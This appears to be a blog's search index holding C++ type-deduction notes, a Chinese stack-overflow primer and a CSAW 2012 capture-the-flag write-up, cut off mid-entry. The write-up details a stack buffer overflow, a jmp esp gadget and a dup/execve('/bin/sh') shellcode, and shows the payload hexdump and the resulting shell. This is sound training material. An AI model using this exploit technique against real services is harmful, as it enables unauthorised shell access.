-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.xml
85 lines (48 loc) · 54.3 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>Effective Modern C++ Item 02</title>
<link href="/effective-modern-c-item-02/"/>
<url>/effective-modern-c-item-02/</url>
<content type="html"><![CDATA[<h1 id="Understand-auto-type-deduction"><a href="#Understand-auto-type-deduction" class="headerlink" title="Understand auto type deduction"></a>Understand <code>auto</code> type deduction</h1><p><code>auto</code> type deduction works like <a href="/effective-modern-c-item-01"><code>template</code> type deduction</a>. They’re essentially two sides of the same coin.</p><h2 id="Uniform-initialization"><a href="#Uniform-initialization" class="headerlink" title="Uniform initialization"></a><a href="/effective-modern-c-item-05">Uniform initialization</a></h2><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> x1 = <span class="number">27</span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">x2</span><span class="params">(<span class="number">27</span>)</span></span>;</span><br><span class="line"><span class="comment">// uniform initialization</span></span><br><span class="line"><span class="keyword">int</span> x3 = {<span class="number">27</span>};</span><br><span class="line"><span class="keyword">int</span> x4{<span class="number">27</span>};</span><br></pre></td></tr></table></figure><p>Four syntaxes: an int with value 27.</p><p>Replace <code>int</code> with <code>auto</code> in the above variable declarations.</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">auto</span> x1 = <span class="number">27</span>; <span class="comment">// type: int, value: 27</span></span><br><span class="line"><span class="function"><span class="keyword">auto</span> <span class="title">x2</span><span class="params">(<span class="number">27</span>)</span></span>; <span class="comment">// type: int, value: 27</span></span><br><span class="line"><span class="keyword">auto</span> x3 = {<span class="number">27</span>}; <span class="comment">// type: std::initializer_list<int>, value: {27}</span></span><br><span class="line"><span class="keyword">auto</span> x4{<span class="number">27</span>}; <span class="comment">// type: std::initializer_list<int>, value: {27}</span></span><br></pre></td></tr></table></figure><p>So the only real difference between <code>auto</code> and <code>template</code> type deduction is that <code>auto</code> assumes that a braced initializer represents a <code>std::initializer_list</code>, but <code>template</code> type deduction doesn’t.</p><p>C++14 permits <code>auto</code> to indicate that a function’s return type should be deduced, and C++14 <code>lambdas</code> may use <code>auto</code> in parameter declarations.</p><p>These uses of <code>auto</code> employ <code>template</code> type deduction, not <code>auto</code> type deduction.</p><h1 id="Things-to-Remember"><a href="#Things-to-Remember" class="headerlink" title="Things to Remember"></a>Things to Remember</h1><ul><li><code>auto</code> type deduction is usually the same as <code>template</code> type deduction, but <code>auto</code> type deduction assumes that a braced initializer represents a <code>std::initializer_list</code>, and <code>template</code> type deduction doesn’t.</li><li><code>auto</code> in a function <code>return</code> type or a <code>lambda</code> parameter implies <code>template</code> type deduction, not <code>auto</code> type deduction.</li></ul>]]></content>
<tags>
<tag> C++11/C++14 </tag>
</tags>
</entry>
<entry>
<title>CSAW quals 2012 - exp300</title>
<link href="/CSAW-quals-2012-exp300/"/>
<url>/CSAW-quals-2012-exp300/</url>
<content type="html"><![CDATA[<h1 id="First-Look"><a href="#First-Look" class="headerlink" title="First Look"></a>First Look</h1><p>First, connect to the server and it would output some messages.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">这部分并不难,但我希望你有乐趣。如果你给我大量的数据,它可能是一件坏事会发生.</span><br></pre></td></tr></table></figure><p>After puts <code>%x-%x-%x-%x</code> as input, it gives us</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">连接接受。</span><br><span class="line">信号读取。</span><br><span class="line">做到。</span><br><span class="line">有一个错误。</span><br></pre></td></tr></table></figure><p>There is nothing useful.</p><h1 id="Environment-Setting"><a href="#Environment-Setting" class="headerlink" title="Environment Setting"></a>Environment Setting</h1><p>So let’s look into its binary, it opens a port 4842 and is a fork-based binary.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0x08048a86 mov dword [esp+0x3c+var_3C], 4842 ; argument "__hostshort" for method j_htons</span><br><span class="line">0x08048a8d call j_htons ; htons</span><br></pre></td></tr></table></figure><h2 id="Fork-based-environment"><a href="#Fork-based-environment" class="headerlink" title="Fork based environment"></a>Fork based environment</h2><p>In the <code>main</code> function, there is a function call to a function which registers <code>signal handler</code> for the problem</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">0x08048a0d sub esp, 0x1c ; End of unwind block (FDE at 0x80490b0), Begin of unwind block (FDE at 0x80490c8), CODE XREF=main+9</span><br><span class="line">0x08048a10 mov dword [esp+0x1c+var_18], sub_8048804 ; argument "__handler" for method j_signal</span><br><span class="line">0x08048a18 mov dword [esp+0x1c+var_1C], 0xc ; argument "__sig" for method j_signal</span><br><span class="line">0x08048a1f call j_signal ; signal</span><br><span class="line">0x08048a24 mov dword [esp+0x1c+var_18], forking ; argument "__handler" for method j_signal</span><br><span class="line">0x08048a2c mov dword [esp+0x1c+var_1C], 0xa ; argument "__sig" for method j_signal</span><br><span class="line">0x08048a33 call j_signal ; signal</span><br><span class="line">0x08048a38 mov dword [esp+0x1c+var_18], interest ; argument "__handler" for method j_signal</span><br><span class="line">0x08048a40 mov dword [esp+0x1c+var_1C], 0x1f ; argument "__sig" for method j_signal</span><br><span class="line">0x08048a47 call j_signal ; signal</span><br><span class="line">0x08048a4c mov eax, 0x1</span><br><span class="line">0x08048a51 add esp, 0x1c</span><br><span class="line">0x08048a54 ret</span><br></pre></td></tr></table></figure><p>After finishing <code>accept</code>, program will raise <code>signal 0xa</code> which is the function <code>forking</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0x08048942 mov eax, dword [esp+0x2c+var_10]</span><br><span class="line">0x08048946 mov dword [dword_804b078], eax ; dword_804b078</span><br><span class="line">0x0804894b mov dword [esp+0x2c+var_2C], 0xa ; argument "__sig" for method j_raise</span><br><span class="line">0x08048952 call j_raise</span><br></pre></td></tr></table></figure><p>Inside <code>forking</code>, there is a function, I called, <code>switch_to_liaotian</code>. The decompile code of <code>switch_to_liaotian</code> is like</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">nt <span class="title">swtich_to_liaotian</span><span class="params">(<span class="keyword">int</span> arg0)</span> </span>{</span><br><span class="line"> var_4 = arg0;</span><br><span class="line"> esp = esp - <span class="number">0x2c</span>;</span><br><span class="line"> var_10 = getpwnam(var_4);</span><br><span class="line"> <span class="keyword">if</span> (var_10 != <span class="number">0x0</span>) <span class="keyword">goto</span> loc_8048bd4;</span><br><span class="line"></span><br><span class="line">loc_8048baa:</span><br><span class="line"> <span class="built_in">fprintf</span>(*<span class="built_in">stderr</span>, <span class="number">0x8048ea8</span>);</span><br><span class="line"> eax = <span class="built_in">exit</span>(<span class="number">0xffffffff</span>);</span><br><span class="line"> <span class="keyword">return</span> eax;</span><br><span class="line"></span><br><span class="line">loc_8048bd4:</span><br><span class="line"> var_14 = *(var_10 + <span class="number">0x8</span>);</span><br><span class="line"> var_18 = *(var_10 + <span class="number">0xc</span>);</span><br><span class="line"> var_1C = *(var_10 + <span class="number">0x14</span>);</span><br><span class="line"> <span class="keyword">if</span> (setgid(var_18) == <span class="number">0x0</span>) <span class="keyword">goto</span> loc_8048c1d;</span><br><span class="line"></span><br><span class="line">loc_8048c05:</span><br><span class="line"> perror(<span class="number">0x8048ecd</span>);</span><br><span class="line"> eax = <span class="built_in">exit</span>(<span class="number">0xffffffff</span>);</span><br><span class="line"> <span class="keyword">return</span> eax;</span><br><span class="line"></span><br><span class="line">loc_8048c1d:</span><br><span class="line"> <span class="keyword">if</span> (setuid(var_14) == <span class="number">0x0</span>) <span class="keyword">goto</span> loc_8048c45;</span><br><span class="line"></span><br><span class="line">loc_8048c2d:</span><br><span class="line"> perror(<span class="number">0x8048edd</span>);</span><br><span class="line"> eax = <span class="built_in">exit</span>(<span class="number">0xffffffff</span>);</span><br><span class="line"> <span class="keyword">return</span> eax;</span><br><span class="line"></span><br><span class="line">loc_8048c45:</span><br><span class="line"> <span class="keyword">if</span> (seteuid(var_14) == <span class="number">0x0</span>) <span class="keyword">goto</span> loc_8048c6d;</span><br><span class="line"></span><br><span class="line">loc_8048c55:</span><br><span class="line"> perror(<span class="number">0x8048eed</span>);</span><br><span class="line"> eax = <span class="built_in">exit</span>(<span class="number">0xffffffff</span>);</span><br><span class="line"> <span class="keyword">return</span> eax;</span><br><span class="line"></span><br><span class="line">loc_8048c6d:</span><br><span class="line"> <span class="keyword">if</span> (setegid(var_18) == <span class="number">0x0</span>) <span class="keyword">goto</span> loc_8048c95;</span><br><span class="line"></span><br><span class="line">loc_8048c7d:</span><br><span class="line"> perror(<span class="number">0x8048efe</span>);</span><br><span class="line"> eax = <span class="built_in">exit</span>(<span class="number">0xffffffff</span>);</span><br><span class="line"> <span class="keyword">return</span> eax;</span><br><span class="line"></span><br><span class="line">loc_8048c95:</span><br><span class="line"> <span class="keyword">if</span> (chdir(var_1C) == <span class="number">0x0</span>) <span class="keyword">goto</span> loc_8048cbd;</span><br><span class="line"></span><br><span class="line">loc_8048ca5:</span><br><span class="line"> perror(<span class="number">0x8048f0f</span>);</span><br><span class="line"> eax = <span class="built_in">exit</span>(<span class="number">0xffffffff</span>);</span><br><span class="line"> <span class="keyword">return</span> eax;</span><br><span class="line"></span><br><span class="line">loc_8048cbd:</span><br><span class="line"> signal(<span class="number">0x11</span>, <span class="number">0x1</span>);</span><br><span class="line"> eax = <span class="number">0x0</span>;</span><br><span class="line"> <span class="keyword">return</span> eax;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>It first uses <code>getpwnam</code> to get the <code>arg0</code>‘s account info, and <code>arg0</code> is string <code>liaotian</code>. Then the program will try changing the current user permission to <code>liaotian</code>, if the attempting fails, it will output some error message and exit the program. After changing permission, it will switch current path to <code>liaotian</code>‘s home directory. Finally, if all function call is sucessfully done, <code>singal SIGSEGV</code> will set to <code>SIG_IGN</code>.</p><h2 id="dockerfile-creation"><a href="#dockerfile-creation" class="headerlink" title="dockerfile creation"></a><code>dockerfile</code> creation</h2><p>With those information we can create a virtual machine to hold the problem for practicing.</p><ol><li>Socket port is <code>4842</code>.</li><li>It is a fork-based binary.</li><li>User name is <code>liaotian</code> and needs home folder.</li></ol><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">14.04</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span> dpkg --add-architecture i386</span><br><span class="line">RUN apt-get update && apt-get upgrade -y</span><br><span class="line">RUN apt-get install -y libc6:i386</span><br><span class="line">RUN apt-get install -y gcc socat libreadline-dev make</span><br><span class="line"></span><br><span class="line"># create users</span><br><span class="line">RUN useradd -ms /bin/bash liaotian</span><br><span class="line"></span><br><span class="line"># build</span><br><span class="line">RUN echo "kernel.randomize_va_space = 2" > /etc/sysctl.d/01-disable-aslr.conf</span><br><span class="line">RUN chown -R root:liaotian /home/liaotian/</span><br><span class="line">RUN chmod 750 /home/liaotian</span><br><span class="line">RUN echo "The flag is 71e23a6825a4e96cf0f36194971af56e." > /home/liaotian/flag</span><br><span class="line">RUN chown root:liaotian /home/liaotian/flag</span><br><span class="line">RUN chmod 440 /home/liaotian/flag</span><br><span class="line">RUN chmod 740 /usr/bin/top</span><br><span class="line">RUN chmod 740 /bin/ps</span><br><span class="line">RUN chmod 740 /usr/bin/pgrep</span><br><span class="line">RUN export TERM=xterm</span><br><span class="line"></span><br><span class="line">WORKDIR /home/liaotian/</span><br><span class="line">COPY exploit300 /home/liaotian/liaotian</span><br><span class="line">RUN chmod 750 /home/liaotian/liaotian</span><br><span class="line">RUN chown root:liaotian /home/liaotian/liaotian</span><br><span class="line"></span><br><span class="line">USER liaotian</span><br><span class="line"></span><br><span class="line">EXPOSE 4842</span><br><span class="line">CMD /home/liaotian/liaotian</span><br></pre></td></tr></table></figure><h1 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h1><p>After <code>fork</code> and <code>switch_to_liaotian</code>, program is in a function which will send something then raise <code>singal 0x1f</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">0x080488db lea edx, dword [eax-1]</span><br><span class="line">0x080488de mov eax, dword [dword_804b078] ; dword_804b078</span><br><span class="line">0x080488e3 mov dword [esp+0x3c+var_30], 0x0 ; argument "__flags" for method j_send</span><br><span class="line">0x080488eb mov dword [esp+0x3c+var_34], edx ; argument "__n" for method j_send</span><br><span class="line">0x080488ef mov edx, dword [esp+0x3c+var_10]</span><br><span class="line">0x080488f3 mov dword [esp+0x3c+var_38], edx ; argument "__buf" for method j_send</span><br><span class="line">0x080488f7 mov dword [esp+0x3c+var_3C], eax ; argument "__fd" for method j_send</span><br><span class="line">0x080488fa call j_send ; send</span><br><span class="line">0x080488ff mov dword [esp+0x3c+var_3C], 0x1f ; argument "__sig" for method j_raise</span><br><span class="line">0x08048906 call j_raise</span><br></pre></td></tr></table></figure><p><code>Signal 0x1f</code>‘s handler will <code>puts</code> message then call a interesting function to <code>read</code> massive input.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">; singal handler for 0x1f</span><br><span class="line">0x08048898 sub esp, 0x1c ; End of unwind block (FDE at 0x8049030), Begin of unwind block (FDE at 0x8049048), DATA XREF=signal_handler+43</span><br><span class="line">0x0804889b mov dword [esp+0x1c+var_1C], aXe4xbfxa1xe5x8 ; argument "__s" for method j_puts, "\\xE4\\xBF\\xA1\\xE5\\x8F\\xB7\\xE8\\xAF\\xBB\\xE5\\x8F\\x96\\xE3\\x80\\x82"</span><br><span class="line">0x080488a2 call j_puts ; puts</span><br><span class="line">0x080488a7 call read_something ; read_something</span><br><span class="line">0x080488ac add esp, 0x1c</span><br><span class="line">0x080488af ret</span><br><span class="line"></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"> read_something:</span><br><span class="line">0x0804886e sub esp, 0x15c ; End of unwind block (FDE at 0x8049010), Begin of unwind block (FDE at 0x8049030), CODE XREF=interest+15</span><br><span class="line">0x08048874 mov eax, dword [dword_804b078] ; dword_804b078</span><br><span class="line">0x08048879 mov dword [esp+0x15c+var_154], 0x800 ; argument "__nbytes" for method j_read</span><br><span class="line">0x08048881 lea edx, dword [esp+0x15c+var_146]</span><br><span class="line">0x08048885 mov dword [esp+0x15c+var_158], edx ; argument "__buf" for method j_read</span><br><span class="line">0x08048889 mov dword [esp+0x15c+var_15C], eax ; argument "__fd" for method j_read</span><br><span class="line">0x0804888c call j_read ; read</span><br><span class="line">0x08048891 add esp, 0x15c</span><br><span class="line">0x08048897 ret</span><br></pre></td></tr></table></figure><p>It is not hard to notice inside function <code>read_something</code> that it only allocates <code>0x15c bytes</code> in stack, but read <code>0x800 bytes</code> to <code>[esp+0x15c-0x146]</code>. So the stack will like this.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">+--------------------+</span><br><span class="line">| ret addr | </span><br><span class="line">+--------------------+ esp + 0x15c</span><br><span class="line">| ...... |</span><br><span class="line">+--------------------+</span><br><span class="line">| var_146 |</span><br><span class="line">+--------------------+ esp + 0x15c - 0x146</span><br><span class="line">| ...... |</span><br><span class="line">+--------------------+</span><br><span class="line">| var_154 |</span><br><span class="line">+--------------------+ esp + 0x15c - 0x158</span><br><span class="line">| var_158 |</span><br><span class="line">+--------------------+ esp + 0x15c - 0x158</span><br><span class="line">| var_15C |</span><br><span class="line">+--------------------+ esp + 0x15c - 0x15c</span><br></pre></td></tr></table></figure><p>If we send massive input, we can overwrite <code>ret addr</code>. The problem is how to gain the <code>eip</code> control.</p><h1 id="PWN"><a href="#PWN" class="headerlink" title="PWN"></a>PWN</h1><p>If we overwrite the <code>ret addr</code>, and after the function returned, the esp will replace by <code>[ret addr] + 4</code>. So here comes <code>JOP</code>(jump-oriented programming). </p><p>First, we need to find a instruction <code>jmp esp</code> by <code>ROPgadget</code>.</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">root@9cb9de1840f0:/samples<span class="comment"># ROPgadget --binary exploit300 | grep "jmp esp"</span></span><br><span class="line">0x08048f93 : add byte ptr [esp + edi*8 - 1], dl ; jmp esp</span><br><span class="line">0x08048f91 : add dword ptr [eax], eax ; add byte ptr [esp + edi*8 - 1], dl ; jmp esp</span><br><span class="line">0x08048f8f : dec esp ; add dword ptr [eax], eax ; add byte ptr [esp + edi*8 - 1], dl ; jmp esp</span><br><span class="line">0x08048f47 : jmp esp</span><br></pre></td></tr></table></figure><p>Second, put a <code>dup(fd) + execve(/bin/sh)</code> shellcode after <code>ret addr</code></p><p>Then, we are able to get the shell.</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">root@8e7ba55f8c44:/samples<span class="comment"># python poc.py</span></span><br><span class="line">[*] <span class="string">'/samples/exploit300'</span></span><br><span class="line"> Arch: i386-32-little</span><br><span class="line"> RELRO: Partial RELRO</span><br><span class="line"> Stack: No canary found</span><br><span class="line"> NX: NX disabled</span><br><span class="line"> PIE: No PIE (0x8048000)</span><br><span class="line"> RWX: Has RWX segments</span><br><span class="line">[*] Binary: exploit300</span><br><span class="line"> - Type: fork-based</span><br><span class="line"> - Arch: i386</span><br><span class="line"> Remote: True</span><br><span class="line"> - host: 172.18.0.2</span><br><span class="line"> - port: 4842</span><br><span class="line">[+] Opening connection to 172.18.0.2 on port 4842: Done</span><br><span class="line">[*] 这部分并不难,但我希望你有乐趣。如果你给我大量的数据,它可能是一件坏事会发生.</span><br><span class="line">[*] 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│</span><br><span class="line"> *</span><br><span class="line"> 00000140 41 41 41 41 41 41 47 8f 04 08 6a ff 6a 07 89 e5 │AAAA│AAG·│··j·│j···│</span><br><span class="line"> 00000150 5b 5e 6a 66 58 46 8d 4c 24 e0 6a 04 60 <span class="built_in">cd</span> 80 85 │[^jf│XF·L│$·j·│`···│</span><br><span class="line"> 00000160 c0 61 5a 75 ed 89 f3 6a 03 59 49 6a 3f 58 <span class="built_in">cd</span> 80 │·aZu│···j│·YIj│?X··│</span><br><span class="line"> 00000170 75 f8 6a 68 68 2f 2f 2f 73 68 2f 62 69 6e 89 e3 │u·jh│h///│sh/b│<span class="keyword">in</span>··│</span><br><span class="line"> 00000180 68 01 01 01 01 81 34 24 72 69 01 01 31 c9 51 6a │h···│··4$│ri··│1·Qj│</span><br><span class="line"> 00000190 04 59 01 e1 51 89 e1 31 d2 6a 0b 58 <span class="built_in">cd</span> 80 │·Y··│Q··1│·j·X│··│</span><br><span class="line"> 0000019e</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$</span><br><span class="line">$ cat flag</span><br><span class="line">The flag is 71e23a6825a4e96cf0f36194971af56e.</span><br><span class="line">$ <span class="built_in">pwd</span></span><br><span class="line">/home/liaotian</span><br><span class="line">$ whoami</span><br><span class="line">liaotian</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> PWN </category>
</categories>
<tags>
<tag> PWN </tag>
<tag> CSAW </tag>
<tag> Stack Overflow </tag>
<tag> JOP </tag>
</tags>
</entry>
<entry>
<title>Stack Overflow</title>
<link href="/stack-overflow/"/>
<url>/stack-overflow/</url>
<content type="html"><![CDATA[<h1 id="Stack-overflow"><a href="#Stack-overflow" class="headerlink" title="Stack overflow"></a>Stack overflow</h1><p>這邊的 stack 指的是特定一塊記憶體的空間,而非資料結構中的 stack ,程序利用 stack 來暫存執行時期所使用的暫存變數與程式中的區域變數,而 stack overflow 指的是當變數 access 超過其所宣告的範圍。</p><h2 id="Trigger"><a href="#Trigger" class="headerlink" title="Trigger"></a>Trigger</h2><p>下面是幾個常見造成 stack overflow 的方式</p><ul><li><code>recv</code></li><li><code>scanf</code></li><li><code>memcpy</code></li><li><code>memove</code></li><li><code>strcpy</code></li><li><code>gets</code><br>*</li></ul><h2 id="Possible-attacks"><a href="#Possible-attacks" class="headerlink" title="Possible attacks"></a>Possible attacks</h2><p>因為攻擊的方式會依 binary 的不同有所分別,這邊會以一般化的情況作討論:</p><ol><li><p>修改特定的變數<br> 舉例來說,程式會依照 <code>apple</code> 的值有不同的行為, 但 <code>apple</code> 在程式中並不會作修改。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">+--------------------+</span><br><span class="line">| arg 2 |</span><br><span class="line">+--------------------+</span><br><span class="line">| arg 1 |</span><br><span class="line">+--------------------+</span><br><span class="line">| ret addr |</span><br><span class="line">+--------------------+</span><br><span class="line">| EBP reg |</span><br><span class="line">+--------------------+</span><br><span class="line">| apple |</span><br><span class="line">+--------------------+</span><br><span class="line">| var A |</span><br><span class="line">+--------------------+</span><br><span class="line">| var B |</span><br><span class="line">+--------------------+</span><br><span class="line">| ESP reg |</span><br><span class="line">+--------------------+</span><br></pre></td></tr></table></figure><p> 假設對 <code>varA</code> 做 access 的程式碼中有 stack overflow 的漏洞,剛好可以讓你控制變數 <code>apple</code>。</p><ul><li>Problems example</li><li>Exploit method</li></ul></li><li><p>修改 <code>return address</code><br> 以同樣的 stack 架構來說,如果可以控制 <code>ret addr</code> 即可以在 <code>function</code> 回傳時控制 <code>EIP</code> </p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">+--------------------+</span><br><span class="line">| arg 2 |</span><br><span class="line">+--------------------+</span><br><span class="line">| arg 1 |</span><br><span class="line">+--------------------+</span><br><span class="line">| ret addr |</span><br><span class="line">+--------------------+</span><br><span class="line">| EBP reg |</span><br><span class="line">+--------------------+</span><br><span class="line">| apple |</span><br><span class="line">+--------------------+</span><br><span class="line">| var A |</span><br><span class="line">+--------------------+</span><br><span class="line">| var B |</span><br><span class="line">+--------------------+</span><br><span class="line">| ESP reg |</span><br><span class="line">+--------------------+</span><br></pre></td></tr></table></figure><ul><li>Problems example</li><li>Exploit method</li></ul></li></ol>]]></content>
<tags>
<tag> PWN </tag>
<tag> Toturial </tag>
<tag> Beginner </tag>
<tag> On-going </tag>
</tags>
</entry>
<entry>
<title>Effective Modern C++ Item 01</title>
<link href="/effective-modern-c-item-01/"/>
<url>/effective-modern-c-item-01/</url>
<content type="html"><![CDATA[<h1 id="Understand-template-type-deduction"><a href="#Understand-template-type-deduction" class="headerlink" title="Understand template type deduction."></a>Understand <code>template</code> type deduction.</h1><p>Using a function template as looking like this:<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span><<span class="keyword">typename</span> T></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">f</span><span class="params">(ParamType param)</span></span>;</span><br></pre></td></tr></table></figure></p><p>A call can look like this:<br><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">f(expr);</span><br></pre></td></tr></table></figure></p><p>The goal is to deduce <code>T</code> and <code>ParamType</code> from <code>expr</code>.</p><h2 id="Case-1-ParamType-is-a-reference-or-pointer-but-not-a-universal-reference"><a href="#Case-1-ParamType-is-a-reference-or-pointer-but-not-a-universal-reference" class="headerlink" title="Case 1: ParamType is a reference or pointer, but not a universal reference."></a>Case 1: <code>ParamType</code> is a <code>reference</code> or <code>pointer</code>, but not a <code>universal reference</code>.</h2><p>Type ducduction works like this:</p><ul><li>If <code>expr</code>‘s type is a <code>reference</code>, ignore the <code>reperence</code> part.</li><li>The pattern-match <code>expr</code>‘s type against <code>ParamType</code> to determine T.</li></ul><h3 id="Examples"><a href="#Examples" class="headerlink" title="Examples."></a>Examples.</h3><ol><li><p>For example,</p> <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span><<span 